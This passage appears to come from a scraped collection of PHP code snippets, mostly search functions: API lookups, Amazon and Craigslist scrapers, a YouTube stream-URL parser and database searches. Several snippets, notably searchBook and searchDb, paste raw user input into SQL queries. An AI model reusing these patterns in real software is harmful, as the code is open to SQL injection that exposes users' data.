$this->apiKey;\n\t\t\t\n\t\t\tcurl_setopt($curlInit, CURLOPT_URL, \"$endPoint?word=\".urlencode($searchWord).\"&language=$language&key=$apiKey&output=json\"); \n\t\t\tcurl_setopt($curlInit, CURLOPT_RETURNTRANSFER, 1);\n\t\t\t\n\t\t\t$info = curl_getinfo($curlInit);\n\n\t\t\t$apiResponseArray['data'] = curl_exec($curlInit);\n\t\t\t$apiResponseArray['info'] = curl_getinfo($curlInit);\n\t\t\t\n\t\t\tcurl_close($curlInit);\n\n\t\t\treturn $apiResponseArray;\n\n\t\t}", "function searchesSearch($text){\n array_push($text, array('key' => 'PARENT_SEARCHES_SEARCH',\n 'parent' => '',\n 'text' => 'Search'));\n \n array_push($text, array('key' => 'SEARCHES_SEARCH_NAME',\n 'parent' => 'PARENT_SEARCHES_SEARCH',\n 'text' => 'Name'));\n \n array_push($text, array('key' => 'SEARCHES_SEARCH_LOADED',\n 'parent' => 'PARENT_SEARCHES_SEARCH',\n 'text' => 'Search loaded.'));\n \n return $text;\n }", "public function getAsinListFromSearchByKeyword($url) {\n \n $html = $this->getUrl($url);\n $dom = str_get_html($html);\n \n $asins = array();\n \n // top\n foreach($dom->find('div[id=\"atfResults\"] h3[class=\"newaps\"] a') as $a)\n {\n if ( $this->_logview) {\n echo \"<pre>\";\n echo $a->href;\n echo \"</pre>\";\n }\n\n $asin = $this->getAsinFromUrl($a->href);\n if ( $asin) {\n $asins[] = $asin;\n }\n } \n \n // bottom\n foreach($dom->find('div[id=\"btfResults\"] h3[class=\"newaps\"] a') as $a)\n {\n if ( $this->_logview) {\n echo \"<pre>\";\n echo $a->href;\n echo \"</pre>\";\n }\n\n $asin = $this->getAsinFromUrl($a->href);\n if ( $asin) {\n $asins[] = $asin;\n }\n } \n \n if (count($asins) == 0) {\n foreach($dom->find('div[id=\"rightResultsATF\"] a') as $e)\n {\n $asin = $this->getAsinFromUrl($e->href);\n if ( $asin) {\n $asins[] = $asin;\n }\n } \n }\n \n $asins = array_unique($asins);\n $new_asins = array();\n \n if ( is_array($asins)) {\n foreach($asins as $a) {\n $new_asins[] = $a;\n }\n }\n \n $dom->clear();\n unset($dom);\n \n return $new_asins;\n \n }", "function findMatches($content){\n\n\t\t$videos = array();\n\t\t$data = \"\";\n\t\t$cdata = \"\";\n\t\t$xdata = \"\";\n\t\t$sig = \"\";\n\t\t$url = \"\";\n\t\t$type = \"\";\n\n\t\t// Break page into pieces and run regex's to find and build download links.\n\t\t// Note: $results is an array.\n\t\tif(preg_match('/url_encoded_fmt_stream_map(.*?);/', $content, $results)){\n\n\t\t\t$data = \"\";\n\n\t\t\t// $results[0]=the text that matched the full pattern\n\t\t\t// $results[1]=the text matching the first subpattern\n\t\t\t// $results[2]=the text matching the second subpattern (n/a)\n\t\t\t$data = $results[1];\n\n\t\t\t// Literally replace the characters '\\u0026' with an '&'.\n\t\t\t$data = str_replace('\\u0026', '&', $data);\n\t\t\t\n\t\t\t// Convert $data to an array by splitting on ','.\n\t\t\t$data = explode(',', $data);\n\n\t\t\tforeach($data As $cdata){\n\n\t\t\t\t// Break each element in the $data array into an array.\n\t\t\t\t$cdata = explode('&', $cdata);\n\n\t\t\t\t// The $cdata array should have exactly 5 elements if it is an applicable URL.\n\t\t\t\tif (sizeof($cdata) === 5) {\n\n\t\t\t\t\tif (DEBUG === 1) {\n\t\t\t\t\t\techo \"<b>\";\n\t\t\t\t\t\techo \"<br><br>\";\n\t\t\t\t\t\techo \"CDATA\" . \"<br>\";\n\t\t\t\t\t\techo \"<pre>\";\n\t\t\t\t\t\tprint_r($cdata);\n\t\t\t\t\t\techo \"</pre>\";\n\t\t\t\t\t\techo \"</b>\";\n\t\t\t\t\t}\n\n\t\t\t\t\t// For each element in the $cdata array...\n\t\t\t\t\tforeach($cdata As $xdata){\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Sometimes this is found as the first three characters of an element: \":\"\n\t\t\t\t\t\t// Check for it by seeing if first character is '\"'.\n\t\t\t\t\t\t// If so, remove those three characters.\n\t\t\t\t\t\tif ($xdata[0] === '\"') {\n\t\t\t\t\t\t\t$xdata = substr($xdata, 3);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Look for signature.\n\t\t\t\t\t\tif(preg_match('/^sig/', $xdata)){\n\t\t\t\t\t\t\t$sig = substr($xdata, 4);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Look for URL.\n\t\t\t\t\t\tif(preg_match('/^url/', $xdata)){\n\t\t\t\t\t\t\t$url = substr($xdata, 4);\n\t\t\t\t\t\t\t$url = urldecode($url);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif (DEBUG === 1) {\n\t\t\t\t\t\t\t\techo \"<b>\" . \"URL: \" . $url . \"<br>\" . \"</b>\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Look for video type.\n\t\t\t\t\t\tif(preg_match('/^itag/', $xdata)){\n\t\t\t\t\t\t\t$type = substr($xdata, 5);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If $type is not a known video type, change it to type '0' (unknown)\n\t\t\t\t\t\t\tif (!array_key_exists($type, $this->videoMap)) {\n\t\t\t\t\t\t\t\t$type = \"0\";\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (DEBUG === 1) {\n\t\t\t\t\t\t\t\techo \"<b>\" . \"<br>\" . \"TYPE: \" . $type . \"<br>\" . \"</b>\";\n\t\t\t\t\t\t\t\techo \"<br><br>\";\n\t\t\t\t\t\t\t\t//echo \"<hr>\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t//$url = $url . '&signature=' . $sig;\n\t\t\t\t\t$videos[$this->videoMap[$type][0]][$this->videoMap[$type][1]] = $url;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $videos;\n\t}", "function FullText($fields=null, $searchstring=null, $booleanmode=false)\n\t{\n\t\tif ($fields === null || $searchstring === null) {\n\t\t\treturn false;\n\t\t}\n\t\t$query = '';\n\t\t$subqueries = array();\n\t\t$counter = 1;\n\t\tforeach ($fields as $field) {\n\t\t\tif ($booleanmode) {\n\t\t\t\t$subqueries[]= ' CONTAINS('.$field.', \\''.$this->Quote($searchstring).'\\', '.$counter++.') > 0 ';\n\t\t\t} else {\n\t\t\t\t$subqueries[]= ' CONTAINS('.$field.', \\''.$this->Quote($searchstring).'\\', '.$counter++.') > 0 ';\n\t\t\t}\n\t\t}\n\t\t$query = implode(' OR ', $subqueries);\n\n\t\treturn $query;\n\t}", "function search(){\n include($GLOBALS[\"draw_includes_path\"].\"/Reference/.ReferenceSearchTop.html\");\n\n //begin searching\n $get_types = Reference::get_types();\n $filters = Reference::get_filters();\n $counter = count($get_types);\n\n //interpret the search needle (into phrases etc) \n if(strlen($_POST[\"search_needles\"]) > 0){\n $needles = get_needles($_POST[\"search_needles\"]);\n } else {\n $needles = array();\n }\n\n $dark = TRUE;\n\n //get the users reference\n $reference_links = Link::get_links(ANY, $_SESSION[\"user_id\"], LINK_REFERENCE_OF_USER);\n\n for($i = 0; $i < count($reference_links); $i++){\n\n DB::db_query(\"get\", \"SELECT * FROM reference WHERE id='\".$reference_links[$i][\"from_id\"].\"';\");\n if(DB::db_check_result(\"get\") > 0){\n\n //check that its in the gets_type list\n if($counter > 0 && ($data = DB::db_get_array(\"get\")) != FALSE){\n\n if($get_types[$data[\"reference_type\"]]){\n //continue checking\n //change this data variable to an instance of the appropriate class \n\n switch($data[\"reference_type\"]){\n\n case get_type_as_string(TYPE_ARTICLE): \n $ref = new Article;\n break;\n\n case get_type_as_string(TYPE_INPROCEEDINGS):\n $ref = new InProceedings;\n break;\n\n case get_type_as_string(TYPE_INCOLLECTION):\n $ref = new InCollection;\n break;\n\n case get_type_as_string(TYPE_INBOOK):\n $ref = new InBook;\n break;\n\n case get_type_as_string(TYPE_BOOKLET):\n $ref = new Booklet;\n break;\n\n case get_type_as_string(TYPE_THESIS):\n $ref = new Thesis;\n break;\n\n case get_type_as_string(TYPE_TECHREPORT):\n $ref = new TechReport;\n break;\n\n case get_type_as_string(TYPE_MANUAL):\n $ref = new Manual;\n break;\n\n case get_type_as_string(TYPE_UNPUBLISHED):\n $ref = new Unpublished;\n break;\n\n case get_type_as_string(TYPE_MISC):\n $ref = new Misc;\n break;\n }\n\n $ref->load_array($data);\n if($ref->match_string($needles) &&\n $ref->match_states($filters)){\n if($dark){\n $bgcolour = \"search_item_dark\";\n } else {\n $bgcolour = \"search_item_light\";\n }\n $dark = (!$dark);\n\n $ref->search_overview($bgcolour);;\n }\n\n }\n }\n \n } else {\n error(\"No references in database\\n\");\n return FALSE;\n }\n \n }\n\n //print the bottom bit\n include($GLOBALS[\"draw_includes_path\"].\"/Reference/.ReferenceSearchBottom.html\");\n\n }", "public static function search() {\n\n $string = Input::get('string');\n\n $results = Artist::Where('name', 'like', \"$string%\")->get();\n\n return ($results->toArray());\n }", "public function search() {\r\n\t\t$mintURL = $this->Configuration->findByName('Mint URL');\r\n\t\t$queryURL = $mintURL['Configuration']['value'];\r\n\t\t$query = '';\r\n\t\tif (isset($this->params['url']['query'])) {\r\n\t\t\t$query = $this->params['url']['query'];\r\n\t\t}\r\n\r\n\t\t$queryURL = $queryURL.\"/Parties_People/opensearch/lookup?searchTerms=\".$query;\r\n\t\t$queryResponse = \"error\";\r\n\n\t\t$ch = curl_init();\r\n\t\t$timeout = 5;\r\n\t\tcurl_setopt($ch,CURLOPT_URL,$queryURL);\r\n\t\tcurl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\tcurl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);\r\n\t\t$queryResponse = curl_exec($ch);\r\n\t\tcurl_close($ch);\r\n\r\n\t\t$this->autoRender = false;\r\n\t\t$this->response->type('json');\r\n\r\n\t\t$this->response->body($queryResponse);\r\n\t}", "public function searchBook()\n\t{\n\t\tif (cookie('staffAccount') != '') {\n\t\t\t$text = $_POST['text'];\n\t\t\t$type = $_POST['type'];\n\t \t\t//$return = array();\n\t\t\t$book = D('Book_species');\n\t\t\t$sql = \"SELECT * FROM lib_book_species as a join\n\t\t\t\t\t(SELECT COUNT(*) as number, isbn FROM lib_book_unique \n\t\t\t \t\twhere book_id not in(select book_id from lib_remove)\n\t\t\t \t\tGROUP BY isbn) AS b using(isbn)\n\t\t\t \t\twhere {$type} like '%{$text}%' and number!=0 ORDER BY species_id DESC;\";\n\t\t\tif ($type == 1) {\n\t\t\t\t$bkid = intval($text);\n\t\t\t\t$sql = \"select * from lib_book_species join (select isbn,count(*)\n\t\t\t\t \t\tas number from lib_book_unique group by isbn) as a using(isbn) \n\t\t\t\t\t\twhere isbn in (select isbn from lib_book_unique \n\t\t\t\t\t\twhere book_id = {$bkid}) and {$bkid} not in \n\t\t\t\t\t\t(select book_id from lib_remove)\";\n\t\t\t}\n\n\n\t\t\t$return = $book->query($sql);\n\t\t\tif ($return) {\n\t\t\t\t$json = json_encode(array(\n\t\t\t\t\t'code' => 'success',\n\t\t\t\t\t'data' => json_encode($return)\n\t\t\t\t));\n\t\t\t\techo $json;\n\t\t\t} else {\n\t\t\t\t$json = json_encode(array(\n\t\t\t\t\t'code' => 'fail',\n\t\t\t\t\t'msg' => 'No result!'\n\t\t\t\t));\n\t\t\t\techo $json;\n\t\t\t}\n\t\t} else {\n\t\t\t$json = json_encode(array(\n\t\t\t\t'code' => 'fail',\n\t\t\t\t'msg' => 'Please Login!'\n\t\t\t));\n\t\t\techo $json;\n\t\t}\n\n\t}", "function the_search_query()\n {\n }", "public function searchDb($txtsearch){\n\t\t$data = $this->db->query('SELECT * FROM `sanpham` as s inner join tacgia as t on t.maTacGia = s.id_MaTacGia WHERE s.`tensanpham` LIKE \"%'.$txtsearch.'%\" OR t.tenTacGia LIKE \"%'.$txtsearch.'%\" ')->result_object();\n\t\treturn $data;\n\t}", "function findOnCraigslist($state = \"Oregon\",$jsonManufacturers = null,$ignoreWords=array(),$cityDepth=null,$depthOverride=true){\n $cityCounter = 0;\n $itemFoundCounter = 0;\n $foundItems = array();\n //Use the Scraper Web API and pull the results in JSON format\n $jsonData = file_get_contents(\"https://api.scraperwiki.com/api/1.0/datastore/sqlite?format=jsondict&name=craigslist_cities_1&query=select%20*%20from%20%60swdata%60%20WHERE%20state%20%3D%20'\".$state.\"'\");\n $jsonCraigCities = json_decode($jsonData);\n //$jsonItemManufacturerData = file_get_contents($manufacturerScraperURL.\"%20WHERE%20manufacturer%20%3D%20'\".$itemManufacturer.\"'\");\n //$jsonItemsFromManufacturer = json_decode($jsonItemManufacturerData);\n //echo \"There are \".count($jsonItemsFromManufacturer).\" \".$itemManufacturer.\" items in the system.\\n\";\n $foundURLS = array(); \n if(!empty($jsonData)){\n foreach($jsonCraigCities as $city){\n $itemCounter = 0;\n echo \"-> Parsing link: \".$city->link.\"\\n\";\n //Search each city for each item for a certain item manufacturer in the vintage item database.\n if($cityCounter < $cityDepth || $depthOverride == true || $cityDepth == 0){\n foreach($jsonManufacturers as $item){\n //Example musical instrument search string http://portland.craigslist.org/search/msg?query=korg+microkorg&srchType=A&minAsk=5&maxAsk=&hasPic=1 \n if(!empty($item)){\n $itemName = urlencode(trim($item->name));\n if(!empty($itemName)){ \n $tManName = preg_replace(\"/\\s/\",\"_\",$item->manufacturer);//Build a temp name for the array key\n $itemManufacturer = urlencode($item->manufacturer);\n $search_string = '\"'.strtolower($itemManufacturer).\"+\".$itemName.'\"';\n //$search_string = urlencode($search_string);\n $search_string2 = urlencode($itemName);\n //\"%7C\" = | (This establishes Craiglist's OR search.)\n if(!empty($search_string) && !empty($search_string2)){\n $search_url = $city->link.\"/search/msg?query=\".$search_string.\"+%7C+\".$search_string2.\"&srchType=T&minAsk=5&maxAsk=&hasPic=1\";//Title only and has image\n echo \"--> Scraping: \".$search_url.\"\\n\";\n $html = scraperWiki::scrape($search_url); \n $dom = new simple_html_dom();\n $dom->load($html); //Load the HTML \n foreach($dom->find(\"p.row\") as $item){\n $itemLink = $item->find('a',0); //Find the second link (not the image link)\n if(!empty($itemLink->href)){\n $itemName = $itemLink->innertext;\n $itemName = preg_replace('/\\s-/','',$itemName);\n $itemName = trim($itemName);\n //Check the name against the ignore words\n $addItem = 1;\n foreach($ignoreWords as $word){\n //Make sure that the itemName doesn't include a word to ignore\n if(strpos(strtolower($itemName),strtolower($word))===false){\n //Do something\n }else{\n $addItem = 0;\n }\n }\n //Check to make sure that the item link matches the search city link. \n $searchCity = preg_match(\"@http://([a-z]*+)\\.@\",$city->link,$cityMatches);\n $searchCity = trim($cityMatches[1]);\n $itemCity = preg_match(\"@http://([a-z]*+)\\.@\",$itemLink->href,$itemCityMatches);\n $itemCity = trim($itemCityMatches[1]);\n //echo \"Search city: \".$searchCity.\"\\n\";\n //echo \"Item city: \".$itemCity.\"\\n\";\n if($itemCity != $searchCity){\n $addItem = 0;\n }\n if($addItem == 1 && in_array($itemLink->href,$foundURLS) == 0){\n echo $itemName.\"\\n\";\n $itemInfo = $item->plaintext;\n $itemInfo = explode('$',$itemInfo);\n $itemPrice = \"$\".trim($itemInfo[1]);\n $itemInfo = $itemInfo[0];\n $itemInfo = explode('-',$itemInfo);\n $itemInfo = preg_replace('/&nbsp;/','',$itemInfo);\n $foundItems[$itemFoundCounter]['manufacturer'] = $itemManufacturer;\n $foundItems[$itemFoundCounter]['name'] = $itemName;\n $foundItems[$itemFoundCounter]['post_item_name'] = $itemName;\n //Find the date and price\n if(!empty($itemInfo)){\n if(isset($itemInfo[0])){\n $itemDate = trim($itemInfo[0]);\n $itemDate = preg_replace('/\\s\\s+/',' ',$itemDate); //Strip excess whitespace\n //Change date string\n $itemDateArray = explode(\" \",$itemDate);\n $monthNumVal = getMonthNum($itemDateArray[0]); //ex Nov\n $curYear = date(\"Y\");\n $itemDate = $curYear.\"-\".$monthNumVal.\"-\".$itemDateArray[1];\n echo \"Date posted: \".$itemDate.\"\\n\";\n $foundItems[$itemFoundCounter]['post_item_date'] = $itemDate;\n }else{\n $foundItems[$itemFoundCounter]['post_item_date'] = \"\";\n }\n if(isset($itemPrice)){\n $itemPrice = trim($itemPrice);\n $itemPrice = preg_replace('/\\(.*\\)/','',$itemPrice);\n $itemPrice = preg_replace('/[a-z]+|[A-Z]+/','',$itemPrice);\n $itemPrice = trim($itemPrice);\n echo \"Price: \".$itemPrice.\"\\n\";\n //Only add the price if a dollar sign exists\n if($itemPrice[0] == \"$\"){\n $foundItems[$itemFoundCounter]['post_item_price'] = $itemPrice;\n }else{\n $foundItems[$itemFoundCounter]['post_item_price'] = \"$\".$itemPrice;\n }\n }else{\n $foundItems[$itemFoundCounter]['post_item_price'] = \"\";\n }\n }else{\n $foundItems[$itemFoundCounter]['post_item_date'] = \"\";\n $foundItems[$itemFoundCounter]['post_item_price'] = \"\";\n }\n $foundURLS[] = $itemLink->href; //Add the url to keep track and make sure that only unique URLs are added.\n $foundItems[$itemFoundCounter]['post_item_link'] = $city->link;\n $foundItems[$itemFoundCounter]['post_item_state'] = $city->state;\n $foundItems[$itemFoundCounter]['query'] = $search_string.\"+%7C+\".$search_string2;\n $foundItems[$itemFoundCounter]['link'] = $itemLink->href;\n //Find the page details on the page\n $craigSynthItemPage = scraperWiki::scrape($itemLink->href); \n $craigSynthItemPageDOM = new simple_html_dom();\n $craigSynthItemPageDOM->load($craigSynthItemPage); //Load the HTML\n if(!empty($craigSynthItemPageDOM)){\n $craigSynthItemDesc = $craigSynthItemPageDOM->find(\"div#userbody\",0);\n //print_r($craigSynthItemDesc);\n if(!empty($craigSynthItemDesc)) $craigSynthItemDesc = $craigSynthItemDesc->plaintext;\n $craigSynthItemBlurb = $craigSynthItemPageDOM->find(\"div#userbody] ul.blurbs\",0);\n if(!empty($craigSynthItemBlurb)) $craigSynthItemBlurb = $craigSynthItemBlurb->plaintext;\n $craigSynthItemDesc = str_replace($craigSynthItemBlurb,\"\",$craigSynthItemDesc);\n $postImages = array();\n foreach($craigSynthItemPageDOM->find(\"table[summary='craigslist hosted images'] tbody tr\") as $imageGroup){\n if(!empty($imageGroup)){\n $image = $imageGroup->find(\"img\",0);\n if(!empty($image)){\n $postImages[] = $image->src;\n }\n }\n }\n //print_r($postImages);\n $postImageStr = implode(\",\",$postImages);\n //echo $postImageStr;\n $craigSynthItemDesc = preg_replace(\"/(\\r|\\n|\\r\\n){2,}/\",\"\",$craigSynthItemDesc);\n $craigSynthItemDesc = preg_replace('/[^(\\x20-\\x7F)]*/','', $craigSynthItemDesc); //Remove non-ASCII characters\n echo $craigSynthItemDesc;\n if(!empty($postImageStr)){\n $foundItems[$itemFoundCounter]['post_item_images'] = $postImageStr;\n }else{\n $foundItems[$itemFoundCounter]['post_item_images'] = \"\";\n }\n if(!empty($craigSynthItemDesc)){\n $foundItems[$itemFoundCounter]['post_item_description'] = $craigSynthItemDesc;\n }else{\n $foundItems[$itemFoundCounter]['post_item_description'] = \"\";\n }\n }\n $itemFoundCounter++;\n }else{\n //Do something if the item wasn't added\n }\n }else{\n //Do something if the link is empty\n }\n }\n }\n }else{\n break;\n }\n $itemCounter++; \n }\n }\n }else{\n break;\n }\n $cityCounter++;\n }\n }else{\n echo \"There were no results found for \".$state.\".\";\n }\n \n return $foundItems;\n}", "function findOnCraigslist($state = \"Oregon\",$jsonManufacturers = null,$ignoreWords=array(),$cityDepth=null,$depthOverride=true){\n $cityCounter = 0;\n $itemFoundCounter = 0;\n $foundItems = array();\n //Use the Scraper Web API and pull the results in JSON format\n $jsonData = file_get_contents(\"https://api.scraperwiki.com/api/1.0/datastore/sqlite?format=jsondict&name=craigslist_cities_1&query=select%20*%20from%20%60swdata%60%20WHERE%20state%20%3D%20'\".$state.\"'\");\n $jsonCraigCities = json_decode($jsonData);\n //$jsonItemManufacturerData = file_get_contents($manufacturerScraperURL.\"%20WHERE%20manufacturer%20%3D%20'\".$itemManufacturer.\"'\");\n //$jsonItemsFromManufacturer = json_decode($jsonItemManufacturerData);\n //echo \"There are \".count($jsonItemsFromManufacturer).\" \".$itemManufacturer.\" items in the system.\\n\";\n $foundURLS = array(); \n if(!empty($jsonData)){\n foreach($jsonCraigCities as $city){\n $itemCounter = 0;\n echo \"-> Parsing link: \".$city->link.\"\\n\";\n //Search each city for each item for a certain item manufacturer in the vintage item database.\n if($cityCounter < $cityDepth || $depthOverride == true || $cityDepth == 0){\n foreach($jsonManufacturers as $item){\n //Example musical instrument search string http://portland.craigslist.org/search/msg?query=korg+microkorg&srchType=A&minAsk=5&maxAsk=&hasPic=1 \n if(!empty($item)){\n $itemName = urlencode(trim($item->name));\n if(!empty($itemName)){ \n $tManName = preg_replace(\"/\\s/\",\"_\",$item->manufacturer);//Build a temp name for the array key\n $itemManufacturer = urlencode($item->manufacturer);\n $search_string = '\"'.strtolower($itemManufacturer).\"+\".$itemName.'\"';\n //$search_string = urlencode($search_string);\n $search_string2 = urlencode($itemName);\n //\"%7C\" = | (This establishes Craiglist's OR search.)\n if(!empty($search_string) && !empty($search_string2)){\n $search_url = $city->link.\"/search/msg?query=\".$search_string.\"+%7C+\".$search_string2.\"&srchType=T&minAsk=5&maxAsk=&hasPic=1\";//Title only and has image\n echo \"--> Scraping: \".$search_url.\"\\n\";\n $html = scraperWiki::scrape($search_url); \n $dom = new simple_html_dom();\n $dom->load($html); //Load the HTML \n foreach($dom->find(\"p.row\") as $item){\n $itemLink = $item->find('a',0); //Find the second link (not the image link)\n if(!empty($itemLink->href)){\n $itemName = $itemLink->innertext;\n $itemName = preg_replace('/\\s-/','',$itemName);\n $itemName = trim($itemName);\n //Check the name against the ignore words\n $addItem = 1;\n foreach($ignoreWords as $word){\n //Make sure that the itemName doesn't include a word to ignore\n if(strpos(strtolower($itemName),strtolower($word))===false){\n //Do something\n }else{\n $addItem = 0;\n }\n }\n //Check to make sure that the item link matches the search city link. \n $searchCity = preg_match(\"@http://([a-z]*+)\\.@\",$city->link,$cityMatches);\n $searchCity = trim($cityMatches[1]);\n $itemCity = preg_match(\"@http://([a-z]*+)\\.@\",$itemLink->href,$itemCityMatches);\n $itemCity = trim($itemCityMatches[1]);\n //echo \"Search city: \".$searchCity.\"\\n\";\n //echo \"Item city: \".$itemCity.\"\\n\";\n if($itemCity != $searchCity){\n $addItem = 0;\n }\n if($addItem == 1 && in_array($itemLink->href,$foundURLS) == 0){\n echo $itemName.\"\\n\";\n $itemInfo = $item->plaintext;\n $itemInfo = explode('$',$itemInfo);\n $itemPrice = \"$\".trim($itemInfo[1]);\n $itemInfo = $itemInfo[0];\n $itemInfo = explode('-',$itemInfo);\n $itemInfo = preg_replace('/&nbsp;/','',$itemInfo);\n $foundItems[$itemFoundCounter]['manufacturer'] = $itemManufacturer;\n $foundItems[$itemFoundCounter]['name'] = $itemName;\n $foundItems[$itemFoundCounter]['post_item_name'] = $itemName;\n //Find the date and price\n if(!empty($itemInfo)){\n if(isset($itemInfo[0])){\n $itemDate = trim($itemInfo[0]);\n $itemDate = preg_replace('/\\s\\s+/',' ',$itemDate); //Strip excess whitespace\n //Change date string\n $itemDateArray = explode(\" \",$itemDate);\n $monthNumVal = getMonthNum($itemDateArray[0]); //ex Nov\n $curYear = date(\"Y\");\n $itemDate = $curYear.\"-\".$monthNumVal.\"-\".$itemDateArray[1];\n echo \"Date posted: \".$itemDate.\"\\n\";\n $foundItems[$itemFoundCounter]['post_item_date'] = $itemDate;\n }else{\n $foundItems[$itemFoundCounter]['post_item_date'] = \"\";\n }\n if(isset($itemPrice)){\n $itemPrice = trim($itemPrice);\n $itemPrice = preg_replace('/\\(.*\\)/','',$itemPrice);\n $itemPrice = preg_replace('/[a-z]+|[A-Z]+/','',$itemPrice);\n $itemPrice = trim($itemPrice);\n echo \"Price: \".$itemPrice.\"\\n\";\n //Only add the price if a dollar sign exists\n if($itemPrice[0] == \"$\"){\n $foundItems[$itemFoundCounter]['post_item_price'] = $itemPrice;\n }else{\n $foundItems[$itemFoundCounter]['post_item_price'] = \"$\".$itemPrice;\n }\n }else{\n $foundItems[$itemFoundCounter]['post_item_price'] = \"\";\n }\n }else{\n $foundItems[$itemFoundCounter]['post_item_date'] = \"\";\n $foundItems[$itemFoundCounter]['post_item_price'] = \"\";\n }\n $foundURLS[] = $itemLink->href; //Add the url to keep track and make sure that only unique URLs are added.\n $foundItems[$itemFoundCounter]['post_item_link'] = $city->link;\n $foundItems[$itemFoundCounter]['post_item_state'] = $city->state;\n $foundItems[$itemFoundCounter]['query'] = $search_string.\"+%7C+\".$search_string2;\n $foundItems[$itemFoundCounter]['link'] = $itemLink->href;\n //Find the page details on the page\n $craigSynthItemPage = scraperWiki::scrape($itemLink->href); \n $craigSynthItemPageDOM = new simple_html_dom();\n $craigSynthItemPageDOM->load($craigSynthItemPage); //Load the HTML\n if(!empty($craigSynthItemPageDOM)){\n $craigSynthItemDesc = $craigSynthItemPageDOM->find(\"div#userbody\",0);\n //print_r($craigSynthItemDesc);\n if(!empty($craigSynthItemDesc)) $craigSynthItemDesc = $craigSynthItemDesc->plaintext;\n $craigSynthItemBlurb = $craigSynthItemPageDOM->find(\"div#userbody] ul.blurbs\",0);\n if(!empty($craigSynthItemBlurb)) $craigSynthItemBlurb = $craigSynthItemBlurb->plaintext;\n $craigSynthItemDesc = str_replace($craigSynthItemBlurb,\"\",$craigSynthItemDesc);\n $postImages = array();\n foreach($craigSynthItemPageDOM->find(\"table[summary='craigslist hosted images'] tbody tr\") as $imageGroup){\n if(!empty($imageGroup)){\n $image = $imageGroup->find(\"img\",0);\n if(!empty($image)){\n $postImages[] = $image->src;\n }\n }\n }\n //print_r($postImages);\n $postImageStr = implode(\",\",$postImages);\n //echo $postImageStr;\n $craigSynthItemDesc = preg_replace(\"/(\\r|\\n|\\r\\n){2,}/\",\"\",$craigSynthItemDesc);\n $craigSynthItemDesc = preg_replace('/[^(\\x20-\\x7F)]*/','', $craigSynthItemDesc); //Remove non-ASCII characters\n echo $craigSynthItemDesc;\n if(!empty($postImageStr)){\n $foundItems[$itemFoundCounter]['post_item_images'] = $postImageStr;\n }else{\n $foundItems[$itemFoundCounter]['post_item_images'] = \"\";\n }\n if(!empty($craigSynthItemDesc)){\n $foundItems[$itemFoundCounter]['post_item_description'] = $craigSynthItemDesc;\n }else{\n $foundItems[$itemFoundCounter]['post_item_description'] = \"\";\n }\n }\n $itemFoundCounter++;\n }else{\n //Do something if the item wasn't added\n }\n }else{\n //Do something if the link is empty\n }\n }\n }\n }else{\n break;\n }\n $itemCounter++; \n }\n }\n }else{\n break;\n }\n $cityCounter++;\n }\n }else{\n echo \"There were no results found for \".$state.\".\";\n }\n \n return $foundItems;\n}", "public static function search() {\n\n $string = Input::get('string');\n\n $results = Genre::Where('name_de', 'like', \"$string%\")->get();\n\n return ($results->toArray());\n }", "protected function matched(): array\n {\n $s = mb_strtolower($this->searchKey);\n $foundRecords = [];\n foreach ($this->source->getRecords() as $index => $word) {\n $found = mb_strpos($s, mb_strtolower($word));\n if (false !== $found) {\n $foundRecords[$index] = intval($found);\n }\n }\n return $foundRecords;\n }", "public function search(Request $request)\n {\n $input = $request->all();\n $query = [['isvalid','=',1]];\n $textsearch=\"\";\n\n if($this->app_name=='gyertekel.hu') {\n $input['parent_id']=4;\n }\n if(isset($input['category']) && $input['category']!=\"\") {\n array_push($query, [\"categories_id\",\"=\",$input['category']]);\n }\n if(isset($input['when']) && $input['when']!=\"\") {\n array_push($query, ['startdate','<=',$input['when']]);\n array_push($query, ['enddate','>=',$input['when']]);\n }\n if(isset($input['textsearch']) && $input['textsearch']!=\"\") {\n $textsearch=$input['textsearch'];\n }\n //http://laravel.io/forum/09-18-2014-orm-query-where-clause-on-related-table\n //https://github.com/jarektkaczyk/eloquence\n $ads = Ads::with('city','category','tag', 'company','rooms')\n ->where($query)\n ->where(function ($query) use ($textsearch) {\n $query->where(\"title\",\"LIKE\",\"%\".$textsearch.\"%\")\n ->orWhere(\"description\",\"LIKE\",\"%\".$textsearch.\"%\")\n ->orWhere(function($q) use ($textsearch) {\n $q->whereHas('tag', function($cq) use ($textsearch) {\n $cq->where([['name', $textsearch],\n ['container_type', 'ad']\n ]);\n });\n })\n ->orWhere(function($q) use ($textsearch) {\n $q->whereHas('company', function($cq) use ($textsearch) {\n $cq->where('name',\"LIKE\",\"%\".$textsearch.\"%\");\n });\n })\n ->orWhere(function($q) use ($textsearch) {\n $q->whereHas('rooms', function($cq) use ($textsearch) {\n $cq->where('assets',\"LIKE\",\"%\".$textsearch.\"%\");\n });\n })\n ;\n })\n ->where(function($q) use ($input) {\n if(isset($input['citysearch']) && $input['citysearch']!=\"\") {\n $q->whereHas('city', function($cq) use ($input) {\n $cq->where('name', $input[\"citysearch\"]);\n });\n }\n })\n ->where(function($q) use ($input){\n if(isset($input['parent_id']) && $input['parent_id']!=\"\") {\n $q->whereHas('category', function($cq) use ($input) {\n $cq->where('parent_id', $input[\"parent_id\"]);\n });\n }\n })\n ->paginate(env('PAGINATION_SIZE'));\n return view('models.ads.index')->with('ads', $ads);\n }", "function getSuggestions($query, $lang='en', $hl='en') {\n if(trim($query) == '') return array();\n\n $post = '<spellrequest textalreadyclipped=\"0\" ignoredups=\"1\" ignoredigits=\"1\" ignoreallcaps=\"0\"><text>'.htmlspecialchars($query).'</text></spellrequest>';\n\n $path = \"/tbproxy/spell?lang=$lang&hl=$hl\";\n\n $url = \"http://www.google.com\";\n\n $header = \"POST \".$path.\" HTTP/1.0 \\r\\n\";\n $header .= \"MIME-Version: 1.0 \\r\\n\";\n $header .= \"Content-type: application/PTI26 \\r\\n\";\n $header .= \"Content-length: 